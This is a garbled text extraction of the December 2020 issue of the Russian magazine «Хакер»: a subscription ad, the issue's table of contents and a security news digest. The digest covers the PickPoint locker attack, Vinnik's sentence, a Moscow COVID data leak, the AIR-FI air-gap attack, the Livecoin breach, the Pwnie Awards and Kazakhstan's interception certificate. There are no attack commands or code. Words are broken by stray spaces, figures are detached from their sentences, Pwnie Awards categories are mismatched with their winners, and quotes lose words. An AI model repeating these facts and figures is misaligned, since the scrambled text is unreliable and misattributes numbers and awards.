


ПОДПИСКА НА «ХАКЕР»

Мы благодарим всех, кто поддерживает
редакцию и помогает нам компенсировать
авторам и редакторам их труд. Без вас
«Хакер» не мог бы существовать, и каждый
новый подписчик делает его чуть лучше.

Напоминаем, что дает годовая подписка:

год доступа ко всем материалам, уже
опубликованным на Xakep.ru;
год доступа к новым статьям, которые
выходят по будням;
полное отсутствие рекламы на сайте
(при условии, что ты залогинишься);
возможность скачивать выходящие
каждый месяц номера в PDF, чтобы
читать на любом удобном устройстве;
личную скидку 20%, которую
можно использовать для продления
годовой подписки. Скидка накапливается
с каждым продлением.

Если по каким-то причинам у тебя еще нет
подписки или она скоро кончится, 

спеши исправить это!

https://xakep.ru/
https://xakep.ru/subscribe/discounts/
https://xakep.ru/wp-admin/users.php?page=paywall_subscribes&from=pdf&subscribe=12_months


Декабрь 2020

№ 261

CONTENTS
Всё новое за пос ледний месяц

MEGANews

Под мена сис темных диало гов и утеч ки памяти
Android

Всё, что извес тно о ком про мета ции SolarWinds на дан ный момент
Взлом года

Как искать логичес кие уяз вимос ти в веб-при ложе ниях
Роковые ошибки

Как дей ство вал один из опас ней ших тро янов 2020 года
Rotexy

Ис поль зуем Drozer для иссле дова ния безопас ности при ложе ний
Пентест для Android

Иден тифика ция биб лиотеч ных фун кций
Фундаментальные основы хакерства

Как сде лать свои сорев нования для хакеров
Make the Flag!

Соз даем userland-рут киты в Linux с помощью LD_PRELOAD
Операция «Предзагрузка»

Об ходим анти вирус и заг ружа ем Meterpreter из памяти в Windows 10
Скрытая нагрузка

Раз бира ем отладку Microsoft Hyper-V с самого начала
Гиперотладка

Тес тиру ем телег рам-боты для поис ка пер сональ ных дан ных
Боты атакуют

Три уров ня шиф рования в сетевых хра нили щах QNAP
Слои защиты

Ути литы Linux, которые мы исполь зуем, не зная о них
Особые инструменты

Де лаем машину для резер вно го копиро вания за 10 бак сов
Нам нужно больше бэкапов!

Нас тра иваем пер сональ ное обла ко и смот рим, сто ит ли воз ня свеч
Nextcloud

Ка кие быва ют типы зам ков и почему все их мож но вскрыть
LockPick

Кто дела ет этот жур нал
Титры



 «Mifrill» Мария Нефёдова
nefedova@glc.ru

АТАКА НА PICKPOINT
В начале декаб ря  неиз вес тные  наруши ли работу  сети  пос таматов PickPoint.
Из‐за  ата ки  мно гие  пос таматы  откры ли  две ри  сво их  яче ек,  и  хра нив шиеся
в них отправ ления ока зались дос тупны любому жела юще му. Мно гочис ленные
фотог рафии это го тут же ста ли мас сово появ лять ся в соци аль ных сетях.

Ге нераль ный дирек тор ком пании Надеж да Романо ва сооб щила, что из час ти
тер миналов все же были похище ны посыл ки. Романо ва пообе щала ком пенса‐ 
цию всех зат рат вла дель цам утра чен ных посылок и стоп роцен тную ком пенса‐ 
цию.

В пресс‐служ бе  ком пании  заяви ли,  что  инци дент  про изо шел из‐за  ата ки
на про вай деров, обес печива ющих дос туп в интернет для пос таматов (то есть
на сотовых опе рато ров). По дан ным PickPoint, в общей слож ности в резуль‐ 
тате  ата ки  пос тра дали  2732  пос тамата,  но  осталь ная  сеть  ком пании  (око‐ 
ло 8000 точек) про дол жила работу в штат ном режиме.

«Ата ка была зафик сирова на на ран ней ста дии, поэто му боль шую часть
из  2732  тер миналов  уда лось  отклю чить,  и  заказы  не  пос тра дали,  —
уве ряют  в  ком пании.  —  PickPoint  под твержда ет  свои  обя затель ства
по соб людению инте ресов сво их получа телей и заказ чиков. Мы дела- 
ем  все  необ ходимое,  что бы  от  дей ствий  кибер прес тупни ков  был
минималь ный ущерб».

 ДОЛЛАРОВ НА HACKERONE2 000 000

Пред ста вите ли HackerOne сооб щили, что румын ский ИБ‐спе циалист Кос мин Йор дач стал пер‐ 
вым  в  исто рии  про екта  иссле дова телем,  который  зарабо тал  на  bug  bounty  более

. Так же он   иссле дова тель, получив ший более   дол ларов.
Йор дач дос тиг это го все го за два года, зарабо тал   дол ларов все го за  .
2 000 000 дол ларов 7-й 1 000 000

300 000 90 дней

В общей слож ности на сче ту Кос мина Йор дача   най ден ных уяз вимос тей, в том чис ле в про‐ 
дук тах  Verizon Media,  PayPal,  Dropbox,  Facebook,  Spotify,  AT&T,  TikTok,  Twitter,  Uber  и  GitHub,
а так же ряд оши бок в сис темах Минис терс тва обо роны США.
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За все вре мя сущес тво вания HackerOne иссле дова тели уже обна ружи ли поряд ка   уяз‐ 
вимос тей, а плат форму сей час исполь зуют более   этич ных хакеров.

170 000
700 000

ВИННИКУ ВЫНЕСЛИ
ПРИГОВОР
Ос нователь бир жи BTC‐e, 41‐лет ний рос сиянин Алек сандр Вин ник был при‐ 
гово рен  во  Фран ции  к  пяти  годам  лишения  сво боды  и  штра фу  в  раз‐ 
мере 100 тысяч евро за отмы вание денег для кибер прес тупни ков.

Из началь но  Вин нику  гро зил  более  серь езный  срок,  одна ко фран цуз ская
про кура тура не сумела доказать, что он учас тво вал в соз дании и рас простра‐ 
нении  вымога теля  Locky,  который  был  акти вен  в  2016–2017  годах.  В  сущ‐ 
ности,  из  мно гочис ленных  обви нений,  свя зан ных  с  Locky,  вымога тель ством
и  при час тностью  к  прес тупной  деятель нос ти,  вина  Вин ника  была  доказа на
толь ко в свя зи с орга низо ван ным отмы вани ем денег.

На пом ню, что изна чаль но Вин ник был арес тован в Гре ции, куда при летел
на  отдых  в  2017  году.  Тог да  влас ти  США  пот ребова ли  его  экс тра диции
и  заяви ли,  что  Вин ник  исполь зовал BTC‐e  в  качес тве  под став ной  ком пании
для опе раций по отмы ванию денег, соз натель но получая средс тва от взло мов
и  дру гих форм  кибер прес тупнос ти,  а  так же  помогая мошен никам  кон верти‐ 
ровать укра ден ные средс тва в фиат. Офи циаль ное заяв ление Минюс та  гла‐ 
сило,  что  Вин ник  не  толь ко  руково дил  прес тупной  груп пой  с  2011  года
и  отмыл  через  BTC‐e  более  четырех  мил лиар дов  дол ларов  в  бит кой нах,
но  так же  был  при час тен  если  не  к  самому  ограбле нию  бир жи  Mt.Gox,  то
хотя бы к отмы ванию похищен ных средств.

Од нако за арес том пос ледова ла дол гая судеб ная тяж ба. Дело в том, что,
как  толь ко  об  арес те  Вин ника  ста ло  извес тно,  рос сий ские  влас ти  тоже
подали  зап рос  об  экс тра диции,  утвер ждая,  что  Вин ник  —  подоз рева емый
по  дру гому  делу  и  в  Рос сии  он  с  2013  года  обви няет ся  в  мошен ничес тве
на сум му 9500 евро. Мно гие экспер ты полага ют,  что это была попыт ка рос‐ 
сий ских влас тей «вытащить» Вин ника из‐под стра жи и вер нуть в Рос сию.

В ито ге спо ры из‐за экс тра диции Вин ника рас тянулись надол го и допол‐ 
нитель но усложни лись, ког да фран цуз ские влас ти тоже подали собс твен ный
зап рос о его экс тра диции, заяв ляя, что намере ны судить Вин ника по 14 обви‐ 
нени ям, свя зан ным с отмы вани ем денег и взло мами.

Из началь но  адво каты  Вин ника  даже  выиг рали  дело,  и  в  2018  году  суд
решил экс тра диро вать его в Рос сию, одна ко из‐за серь езно го полити чес кого
дав ления со сто роны офи циаль ных лиц (как из Рос сии, так и из США) гре чес‐ 
кие влас ти при няли решение передать Вин ника фран цузам вес ной 2020 года.

Как уже было ска зано, фран цуз ский судеб ный про цесс не увен чался осо‐ 
бен ным  успе хом.  Из  14  выд винутых  обви нений  было  доказа но  лишь  одно,
а  осталь ные  доказа тель ства  Евро пола  успешно  оспо рили  адво каты  обви‐ 
няемо го.

В нас тоящее вре мя осно ватель BTC‐e оста ется под арес том, а офи циаль‐ 
ные пред ста вите ли США и Рос сии уже подали новые зап росы о его экс тра‐ 
диции  (на этот раз фран цуз ским влас тям). Защит ники Вин ника,  в  свою оче‐ 
редь, сооб щили, что намере ны обжа ловать недав но вынесен ный при говор.

МОНЕТИЗАЦИЯ TELEGRAM
Па вел  Дуров  опуб ликовал  в  сво ем  Telegram‐канале  боль шой  пост,  пос вящен ный  пла нам
монети зации и даль нейше го раз вития Telegram. Дуров приз нает ся, что боль шую часть вре мени
он  опла чивал  сче та  ком пании  из  лич ных  сбе реже ний,  но  при  текущих  тем пах  рос та  Telegram
вско ре  это  ста нет  невоз можно.  Так  как  про давать  ком панию он  не  намерен, монети зиро вать
Telegram  пла ниру ется  с  помощью  рек ламы,  при чем  ненавяз чивой,  которая  не  будет  пор тить
обще ние меж ду поль зовате лями.

→ «Все  текущие  сер висы  Telegram  оста нут ся  бес плат ными.  Помимо  них,  мы  пред ложим
допол нитель ные  фун кции  для  биз нес‐команд  и  поль зовате лей  с  рас ширен ными  пот ребнос‐ 
тями. Некото рые из этих новых фун кций будут ресур соем кими и,  как следс твие, ста нут плат‐ 
ными. Для обыч ных поль зовате лей Telegram всег да будет бес плат ным.

Все сер висы Telegram, свя зан ные с обме ном сооб щени ями, оста нут ся сво бод ными от рек‐ 
ламы. Счи таем, что рек лама в лич ных и груп повых чатах неп рием лема. Обще ние меж ду людь ми
не дол жно пре рывать ся на рек ламу.

По мимо  обме на  сооб щени ями,  в  Telegram  есть  соци аль но‐сетевая  сос тавля ющая.  Мас‐ 
совые пуб личные каналы Telegram, пос тро енные по прин ципу вещания „один ко мно гим“, могут
дос тигать мил лионов под писчи ков и име ют мало обще го с тра дици онным обме ном сооб щени‐ 
ями.

Во мно гих стра нах вла дель цы таких каналов зараба тыва ют на показе рек ламы сво им под‐ 
писчи кам,  иног да  через  сто рон ние  рек ламные  плат формы.  Рек ламные  объ явле ния,  которые
они пуб лику ют, выг лядят как обыч ные сооб щения и неред ко навяз чивы. В этой свя зи мы пред‐ 
ложим нашу собс твен ную рек ламную плат форму для каналов,  которая обес печит поль зовате‐ 
лям ком форт и кон фиден циаль ность, а нам поз волит пок рывать рас ходы на сер веры и тра фик.

Мо нети зация  Telegram  дол жна  при носить  поль зу  не  толь ко  нам,  но  и  все му  сооб щес тву.
Нап ример, если популяр ные пуб личные каналы будут монети зиро вать ся через рек ламную плат‐ 
форму, вла дель цы этих каналов получат бес плат ный тра фик про пор циональ но их охва ту. Или,
если —  вдо бавок  к  текущим  бес плат ным  сти керам —  появят ся  плат ные  сти керы  с  рас ширен‐ 
ными воз можнос тями, худож ники этих сти керов так же получат часть дохода. Мы хотим, что бы
соз датели  кон тента  и  пред при нима тели  в  Telegram  проц ветали,  обо гащая  всех  наших  поль‐ 
зовате лей за счет повыше ния качес тва сер виса»
— Дуров о пла нах ком пании

КОРОНАВИРУСНАЯ
УТЕЧКА
Жур налис ты  изда ния  Readovka  обна ружи ли  в  сети  ссыл ки  на  рабочие  чаты
мос ков ских  боль ниц  и  стан ций  ско рой  помощи  и  вско ре  поняли,  что
в  Telegram‐каналах  сво бод но  рас простра няет ся  информа ция  о  перебо лев‐ 
ших корона виру сом мос кви чах. В онлайн‐докумен тах были дос тупны дан ные
при мер но 300 тысяч паци ентов, вклю чая ФИО, адрес про жива ния и регис тра‐ 
ции,  дан ные  полиса  ОМС,  а  так же  всю  информа цию  о  течении  болез ни
и заборах ана лизов.

Так же изда ние сооб щило, что в сеть утек ли дан ные о сер верах 1С и клю чи
к сис теме уче та корона вирус ных боль ных.

Жур налис ты решили про верить под линность дан ных и обзво нили мно жес тво
людей, чьи дан ные были в базе. Сооб щает ся, что десят ки человек под твер‐ 
дили изда нию, что их лич ные дан ные вер ны и они дей стви тель но тес тирова‐ 
лись на COVID‐19.

Вско ре  мос ков ские  влас ти  сооб щили,  что  про веря ют  информа цию
об  утеч ке,  и  поз же  в  офи циаль ном  Telegram‐канале  Опер шта ба  появи лось
сле дующее  заяв ление  руково дите ля  сто лич ного  депар тамен та  информа‐ 
цион ных  тех нологий  Эду арда  Лысен ко,  фак тичес ки  под твер дивше го  факт
утеч ки:

«В ходе про вер ки информа ции об утеч ках пер сональ ных дан ных мос- 
кви чей, перебо лев ших корона виру сом, было уста нов лено, что взло мов
и какого‑либо дру гого несан кци они рован ного вме шатель ства в работу
информа цион ных сис тем Пра витель ства Мос квы не было. Утеч ка про- 
изош ла  вследс твие  челове чес кого  фак тора:  сот рудни ки,  которые
занима лись  обра бот кой  слу жеб ных  докумен тов,  допус тили  переда чу
этих фай лов  треть им  лицам.  Про вер ка  про дол жает ся,  по  ее  резуль- 
татам будут при няты меры».

ВЗЛОМ НА ЗАКАЗ
Эк спер ты Positive Technologies про ана лизи рова ли   наибо лее активных форумов в дар кне те,
где  пред став лены  услу ги  по  взло му  сай тов,  покуп ке  и  про даже  баз  дан ных  и  дос тупов
к  веб‐ресур сам. Все го  на  этих форумах  зарегис три рова но более    поль зовате лей,  соз‐ 
дано более   тем, в которых опуб ликова но свы ше   сооб щений.
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В   слу чаев на форумах, пос вящен ных взло му, ищут исполни теля‐хакера, который смо жет
пре дос тавить  заказ чику  дос туп  к  ресур су  или  выг рузит  базу  поль зовате лей.  В    записей
фигури руют пред ложения услуг по взло му сай тов.

90%
7%

В   слу чаев, каса ющих ся взло ма сай тов, основная цель — получить дос туп к ресур су. Зло‐ 
умыш ленни ки могут не толь ко похитить кон фиден циаль ную информа цию, но и про дать дос туп
к веб‐при ложе нию так называ емым скуп щикам.

69%

На  вто ром  мес те  (   объ явле ний)  по  популяр ности  находят ся  зап росы,  нап равлен ные
на  получе ние  баз  дан ных  поль зовате лей  или  кли ентов  ата куемо го  ресур са:  в  при обре тении
такой информа ции в пер вую оче редь заин тересо ваны кон курен ты и спа меры, которые собира‐ 
ют  спис ки  адре сов  для  целевой  темати чес кой  рас сылки,  ори енти рован ной  на  опре делен ную
ауди торию.

21%

По дан ным ана лиза, базы дан ных на заказ могут сто ить до   дол ларов США.20 000

Ко личес тво новых объ явле ний о взло ме веб‐ресур сов на форумах в 2019–2020 годах

Так же на  хак‐форумах порой ищут исполни телей,  которые смо гут  раз местить  на  веб‐ресур се
вре донос ное ПО (  объ явле ний) и взло мать сайт, что бы уда лить на нем опре делен ные дан‐ 
ные (  объ явле ний).

4%
3%

RAM ДЛЯ WI‐FI
Спе циалис ты из изра иль ско го Уни вер ситета име ни Бен‐Гури она про демонс‐ 
три рова ли ата ку AIR‐FI — новый метод извле чения дан ных с машин, физичес‐ 
ки изо лиро ван ных от любых сетей и потен циаль но опас ной перифе рии. Такие
компь юте ры  неред ко  встре чают ся  в  пра витель ствен ных  сис темах  и  кор‐ 
поратив ных  сетях,  на  них  хра нят ся  сек ретные  докумен ты,  а  так же  зак рытая
и кон фиден циаль ная информа ция.

На  этот  раз  иссле дова тели  пред ложили  прев ратить  RAM  в  импро визи‐ 
рован ный бес про вод ной излу чатель для переда чи дан ных «по воз духу».

В осно ве ата ки AIR‐FI лежит  тот факт,  что любой элек трон ный ком понент
при про хож дении элек три чес кого  тока  генери рует элек тро маг нитные вол ны.
Иссле дова тели  пишут,  что  в  теории  хакер  может  манипу лиро вать  питани ем
RAM  таким  обра зом,  что бы  генери ровать  элек тро маг нитные  вол ны  с  час‐ 
тотой, соот ветс тву ющей час тоте сиг нала Wi‐Fi (2,4 ГГц).

В сво ем отче те и соп роводи тель ном   экспер ты показы вают, что тща‐ 
тель но  кон тро лиру емые  опе рации  чте ния‐записи  RAM  спо соб ны  зас тавить
шину  памяти  излу чать  элек тро маг нитные  вол ны,  ана логич ные  сла бому  сиг‐ 
налу Wi‐Fi. Такой сиг нал может при нять любое устрой ство с под дер жкой Wi‐Fi,
находя щееся  непода леку  от  изо лиро ван ного  компь юте ра,  нап ример  смар‐ 
тфон, ноут бук, IoT‐девайс, умные часы.
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AIR‐FI  —  это  далеко  не  пер вая  экзо тичес кая  ата ка,  раз работан ная  спе‐ 
циалис тами  из  Уни вер ситета  име ни  Бен‐Гури она,  но  иссле дова тели  отме‐ 
чают, что этот метод — один из наибо лее прос тых в реали зации. Ведь в дан‐ 
ном  слу чае  зло умыш ленни ку  не  нуж но  получать  пра ва  root/адми нис тра тора
перед  запус ком  сво его  экс пло ита.  По  сути,  это  поз воля ет  ата ке  работать
на любой ОС и даже на  вир туаль ных машинах.  Так же отме чает ся,  что боль‐ 
шинс тво сов ремен ных пла нок RAM без тру да могут излу чать сиг налы в диапа‐ 
зоне 2,4 ГГц, а ста рую память нет рудно разог нать для дос тижения жела емо го
эффекта.

 ЗА BITCOIN450 000
Ад минис тра ция  крип товалют ной  бир жи  Livecoin  заяви ла,  что  ресурс  пос тра дал  от  тща тель но
спла ниро ван ной ата ки, в резуль тате которой был потерян кон троль над сер верами и бэкен дом.
Неиз вес тные  зло умыш ленни ки  получи ли  кон троль  над  инфраструк турой  Livecoin  и  изме нили
кур сы ряда крип товалют, доведя их до заоб лачных зна чений.

К при меру, сто имость Bitcoin пре выси ла   дол ларов, Ether —   дол ларов, а сто‐ 
имость Ripple воз росла с   до   дол ларов. Пос ле изме нения обменных кур сов таинс твен‐ 
ные зло умыш ленни ки начали обна личи вать средс тва со сче тов, получая гигант скую при быль.
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От метим, что реаль ный курс бит кой на к дол лару тоже бьет все рекор ды: под конец года цена
крип товалю ты доходи ла до   дол ларов.28 000

PWNIE AWARDS 2020
В рам ках  кон ферен ции Black Hat Europe были опре деле ны победи тели пре‐ 
мии Pwnie Awards 2020. Обыч но ито ги под водят летом, на кон ферен ции Black
Hat  USA,  но  в  этом  году  вру чение  Pwnie  Awards  впер вые  про ходи ло  в  вир‐ 
туаль ном  фор мате,  а  так же  было  отло жено  до  кон ца  года.  Как  нес ложно
догадать ся, про изош ло это из‐за пан демии корона виру са.

На пом ню, что пре мия пред став ляет собой сво еоб разный ана лог «Оска ра»
в  области  информа цион ной  безопас ности:  каж дый  год  про фес сиона лы
в  области ИБ  выд вига ют  номинан тов,  а  затем  голосу ют  за  луч ших  и  худ ших
в отрасли. Спе циалис ты выбира ют самые важ ные и наибо лее ори гиналь ные
уяз вимос ти  года,  отме чают  спе циаль ной  изде ватель ской  наг радой  худ шие
реак ции  вен доров  на  инци ден ты,  а  так же  эпи чес кие  фей лы,  из‐за  которых
поль зовате ли в ито ге под вер глись рис ку.

Ито ги 2020 года, по вер сии жюри Pwnie Awards, таковы:
 BraveStarr — RCE  в  демоне  Telnet

на сер верах Fedora 31.
• Луч ший баг на сто роне сер вера:

  обна ружен ная  коман дой  Google
Project Zero MMS‐ата ка на  телефо ны Samsung, работа ющая без еди ного
кли ка.

• Луч ший  баг  на  сто роне  кли ента:

  Checkm8 —  уяз вимость,  поз‐ 
волив шая  осу щес твить  пол ный  джей лбрейк  любых  устрой ств  Apple
с чипами от A5 до A11, выпущен ными меж ду 2011 и 2017 годами.

• Луч ший  баг  повыше ния  при виле гий:

  Zerologon  —  баг  в  про токо ле
аутен тифика ции Microsoft Netlogon, исполь зование которо го зак люча ется
в добав лении нулей в опре делен ные аутен тифика цион ные парамет ры.

• Луч шая  крип тогра фичес кая  ата ка:

  TRRespass  —  обход  защиты
TRR в сов ремен ной RAM для выпол нения атак Rowhammer.

• Са мое  инно ваци онное  иссле дова ние:

 Дэни ел Дж. Берн штейн — за то, что
не спра вил ся с багом в далеком 2005 году.

• Са мая жал кая реак ция вен дора:

 Габ риэль Нег рей ра Бар боса,
Род риго  Рубира  Бран ко  (BSDaemon),  Джо  Чихула  (Intel)  за  обна руже ние
CVE‐2019‐0151 и CVE‐2019‐0152 в Intel System Management Mode и Trusted
Execution Technology.

• Са мое недо оце нен ное иссле дова ние:

 Microsoft в свя зи с проб лемой CurveBall, суть
которой  про явля ется  во  вре мя  валида ции  сер тифика тов  Elliptic  Curve
Cryptography (ECC), поз воляя лег ко под делывать HTTPS‐сай ты и легитим‐ 
ные при ложе ния.

• Са мый эпи чес кий фейл:

  Гуан  Гун,  извес тный  китай ский  баг‐ 
хантер,  за  обна руже ние CVE‐2019‐5870, CVE‐2019‐5877, CVE‐2019‐10567,
то  есть  трех  оши бок,  которые  поз воляли  уда лен но  зах ватить  устрой ства
Android Pixel.

• Са мое  эпи чес кое  дос тижение:

ПЛОХАЯ ЗАЩИТА СМАРТФОНОВ
Из вес тный ИБ‐эксперт,  крип тограф и  про фес сор  уни вер ситета Джо на Хоп кинса Мэттью  Грин
(Matt Green) рас ска зал в Twitter о том, что его сту ден ты все лето изу чали пуб лично дос тупные
отче ты  кри мина лис тов  и  экспер тов,  а  так же  юри дичес кие  бумаги,  про лива ющие  свет  на  то,
как пра воох ранитель ные орга ны взла мыва ют смар тфо ны. Увы, выводы ока зались неуте шитель‐ 
ными: как пра вило, полицей ским даже не при ходит ся утруждать ся.

→ «Мы под готови ли огромный отчет, который будет опуб ликован пос ле праз дни ков. Но TL;DR
вызыва ет уны ние: в боль шинс тве слу чаев влас тям вооб ще не нуж но взла мывать шиф рование
телефо на, потому что сов ремен ное шиф рование телефо нов — отстой.

На телефо не Apple вам необ ходимо получить клю чи шиф рования. Пос коль ку они явля ются
про изводны ми  от  пароля  поль зовате ля,  вам  нуж но  подоб рать  его  либо  нуж но,  что бы  поль‐ 
зователь ввел его. На пос ледних моделях iPhone слож но подоб рать пароль, потому что Secure
Enclave (SEP) име ет огра ниче ние в десять попыток.

Итак, если они не могут взло мать пароль, как пра воох ранитель ные орга ны до сих пор взла‐ 
мыва ют  iPhone  (потому  что  они  опре делен но  их  взла мыва ют)?  Скуч ный  ответ,  ско рее  все го,
зак люча ется в том, что полиция   под бира ет пароли подоз рева емых. Они полага ются на то,
что вла делец, веро ятно, уже ввел пароль. В боль шинс тве слу чаев   изъ ятия телефо на.
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По нима ете, iPhone может находить ся в одном из двух сос тояний: „До пер вой раз бло киров‐ 
ки“  (BFU)  и  „Пос ле  пер вой  раз бло киров ки“  (AFU).  Ког да  вы  вклю чаете  телефон  и  вво дите
пароль утром, вы перек люча ете свой телефон с BFU в AFU. Ког да вы впер вые раз бло киру ете
свой  iPhone  пос ле  вклю чения,  он  исполь зует  ваш  пароль  для  соз дания  нес коль ких  наборов
крип тогра фичес ких клю чей. Они оста ются в памяти телефо на и исполь зуют ся для шиф рования
фай ловой  сис темы.  Ког да  вы  бло киру ете  свой  iPhone  (или  нажима ете  кноп ку  сбо ку,
или  оставля ете  его  в  покое,  пока  экран  не  погас нет),  ров но    набор  клю чей  сти рает ся
из памяти. Эти клю чи исчезнут до тех пор, пока вы не вве дете свой пароль или не исполь зуете
FaceID. Все осталь ные клю чи оста ются в памяти.
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Та ким обра зом, если полиция смо жет зах ватить ваш телефон в сос тоянии AFU (а он поч ти
навер няка находит ся в этом сос тоянии на про тяже нии 99% вре мени)   у них есть прог рам мный
экс пло ит, который поз воля ет им обой ти меры безопас ности ОС, они могут извлечь боль шинс‐ 
тво фай лов»

и

— объ ясня ет Мэттью Грин

ФЕРМЫ ПРОТИВ
БАНКОВ
Эк спер ты  IBM  Trusteer  рас кры ли  мас штаб ную  мошен ничес кую  опе рацию:
при  помощи  огромных ферм  эму лято ров  мобиль ных  устрой ств  прес тупни ки
выводи ли мил лионы дол ларов со сче тов в онлайн‐бан ках в США и ЕС.

Фер мы  эму лято ров  помога ли  мошен никам  получить  дос туп  к  тысячам
взло ман ных  учет ных  записей  (ском про мети рован ных  в  резуль тате  фишин га
или  атак  мал вари)  в  очень  сжа тые  сро ки.  Хотя  эму лято ры  сами  по  себе
не вре донос ные инс тру мен ты, сто ящая за этой кам пани ей хак‐груп па исполь‐ 
зовала их для эму ляции взло ман ных устрой ств. То есть в ито ге все выг лядело
так,  буд то  вла дель цы  ском про мети рован ных  учет ных  записей  переш ли
на  исполь зование  новых  гад жетов  или  даже  вош ли  в  интернет‐бан кинг
со сво его обыч ного устрой ства.

Продолжение статьи →
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 Начало статьи←

Для нас трой ки эму лято ров мошен ники при меня ли спе циаль ный инс тру мент,
спо соб ный заг ружать спе цифи кации устрой ств из базы ранее ском про мети‐ 
рован ных  девай сов,  сопос тавляя  при  этом  каж дое  под дель ное  устрой ство
с бан ков ски ми учет ными дан ными пос тра дав ших. Такая фер ма спо соб на под‐ 
делать даже мес тополо жение GPS с помощью VPN, что бы скрыть вре донос‐ 
ную активность от спе циалис тов бан ка.

Иден тифика торы  устрой ств  хакеры,  веро ятно,  получа ли  со  взло ман ных
устрой ств жертв,  хотя иног да мошен ники выдава ли себя за бан ков ских  кли‐ 
ентов,  которые  вош ли  с  новых  телефо нов.  Так же  зло умыш ленни ки  мог ли
обой ти мно гофак торную аутен тифика цию, получив дос туп к SMS‐сооб щени‐ 
ям.

Во  вре мя  атак  хакеры  в  режиме  реаль ного  вре мени  отсле жива ли
активность взло ман ных бан ков ских сче тов, что бы убе дить ся, что их деятель‐ 
ность  не  была  обна руже на.  Если  что‐то  шло  не  так  и  ата ка  ока зыва лась
под угро зой рас кры тия, зло умыш ленни ки мог ли рез ко изме нить так тику либо
сроч но завер шить опе рацию и немед ленно унич тожить все сле ды.

«Ранее  еще  никог да  не  обна ружи вали  опе раций  таких  мас шта бов.
В  некото рых  слу чаях  более  20  эму лято ров  исполь зовались  для  спу- 
фин га свы ше 16 тысяч взло ман ных устрой ств. Зло умыш ленни ки при- 
меня ли эти эму лято ры для мно гок ратно го дос тупа к тысячам учет ных
записей  и  в  конеч ном  ито ге  похища ли  мил лионы  дол ларов  все го
за нес коль ко дней», — гла сит отчет экспер тов.

ГОДЫ НА ИСПРАВЛЕНИЕ
От чет ана лити ков GitHub, осно ван ный на изу чении более чем   активных репози тори ев,
демонс три рует,  что  зачас тую  раз работ чикам  тре буют ся  годы  для  устра нения  уяз вимос тей,
появив шихся в их прог рам мном обес печении.

45 000

На  устра нение  уяз вимос тей  в  Ruby  обыч но  тре бует ся  ,  а  для  устра нения  уяз вимос тей
в npm обыч но нуж но  . И столь боль шие сро ки обыч но свя заны с  тем,  что неред ко баги
прос то не обна ружи вают.

7  лет
5 лет

Час то  баги  оста ются  незаме чен ными  боль ше  .  Как  толь ко  их  находят,  спе циалис ты
по соп ровож дению пакетов и спе циалис ты по безопас ности соз дают и выпус кают пат чи все го
за  .

4  лет

4 недели

Все репози тории, рас смот ренные в отче те, исполь зуют одну из   эко сис тем пакетов (Compos‐
er, Maven, npm, NuGet, PyPI или RubyGems) и име ют вклю чен ный граф зависи мос тей.

6

При  этом,  сог ласно  ста тис тике,  за  пос ледние  12  месяцев,  репози тории  Ruby  ( )  и  Java‐
Script  ( )  име ли  наивыс ший  шанс  получить  пре дуп режде ние  от  сис темы  безопас ности
GitHub.

81%
73%

Боль шинс тво уяз вимос тей ока зыва ются резуль татами прог раммист ских оши бок и никак не свя‐ 
заны с ата ками. В час тнос ти, ана лиз   пре дуп режде ния показал, что лишь   из них были
свя заны с каким‐либо вре донос ным поведе нием.

521 17%

КАЗАХСТАНСКИЙ
«СЕРТИФИКАТ
БЕЗОПАСНОСТИ»
В начале декаб ря казах станские влас ти уже в тре тий раз пред при няли попыт‐ 
ку  прос лушивать  весь  тра фик  поль зовате лей,  вклю чая  защищен ные HTTPS‐
соеди нения. Напом ню, что эти попыт ки начались еще  , ког да пра‐ 
витель ство  стра ны  впер вые  сооб щило  о  внед рении  «наци ональ ного  сер‐ 
тифика та безопас ности». То есть под разуме валось,  что поль зовате лей обя‐ 
жут заг рузить и уста новить на все устрой ства пра витель ствен ный сер тификат,
через  который  будет  про ходить  весь  защищен ный  тра фик  в  том  чис ле
с зарубеж ных веб‐сай тов. При чем пред полага лось, что дешиф ровке под вер‐ 
гнет ся не толь ко весь HTTPS‐тра фик, но и про чие TLS‐соеди нения.

в 2015 году

В 2015 году попыт ка не увен чалась успе хом, но в 2019 году пра витель ство
стра ны  еще раз  вер нулось  к  этой  идее.  Так,  летом  прош лого  года мес тные
опе рато ры  ста ли  рас сылать  сво им  або нен там  пре дуп режде ния,  что  необ‐ 
ходимо  уста новить  сер тификат  безопас ности,  яко бы  приз ванный  защитить
от  кибера так  и  помочь  бороть ся  с  про тивоп равным  кон тентом.  Тог да  про‐ 
изво дите ли  бра узе ров  отве тили  на  это  бло киров кой  сер тифика та,  а  пра‐ 
витель ство Казах ста на вско ре объ яви ло об «окон чании уче ний».

В начале декаб ря 2020 года влас ти Казах ста на вновь объ яви ли о киберу чени‐ 
ях и обя зали жителей Нур‐Сул тана и при езжих уста новить на свои устрой ства
спе циаль ный  сер тификат  безопас ности.  Так же  влас ти  вынуди ли  мес тных
интернет‐про вай деров  бло киро вать  дос туп  поль зовате лей  к  инос тран ным
сай там, если сер тификат не уста нов лен. Офи циаль ные пред ста вите ли влас‐ 
тей сооб щили, что кибера таки на казах станский сег мент интерне та уве личи‐ 
лись в 2,7 раза во вре мя пан демии COVID‐19, наз вав это основной при чиной
для стар та уче ний.

Вско ре на сай те Censored Planet  появи лась информа ция о  том,  что сер‐ 
тификат  работа ет  про тив  десят ков  веб‐сер висов,  которые  в  основном  при‐ 
над лежат Google, Facebook и Twitter, но так же в спи сок вош ли mail.ru, vk.com
и ok.ru.

По  дан ным Censored Planet,  про цент  хос тов  в  Казах ста не,  под вер гших ся
перех вату, сос тавил око ло 11,5% по срав нению с 7% в прош лом году.

Од нако  и  на  этот  раз  про изво дите ли  бра узе ров  отве тили  бло киров кой.
Начиная с 18 декаб ря 2020 года поль зовате ли Safari, Edge, Chrome и Firefox,
на чьих устрой ствах уста нов лен дан ный MITM‐сер тификат, будут видеть пре‐ 
дуп режде ния  о  наруше нии  безопас ности  и  информа цию  о  том,  что  сер‐ 
тифика ту нель зя доверять.

В сво ем бло ге раз работ чики Mozilla напом нили, что еще в 2019 году они
приш ли  к  выводу,  что  «этот  акт  под рыва ет  безопас ность  поль зовате лей
и интерне та, а  так же пря мо про тиво речит Прин ципу 4 из манифес та Mozilla,
который  гла сит:  „Безопас ность  и  кон фиден циаль ность  людей  в  интерне те
име ют фун дамен таль ное зна чение и не дол жны рас смат ривать ся как необя‐ 
затель ные“».

«Мы при зыва ем поль зовате лей из Казах ста на, которых кос нулись эти
изме нения, изу чить воз можность исполь зования VPN или бра узе ра Tor
для получе ния дос тупа к интерне ту. Мы так же нас тоятель но рекомен- 
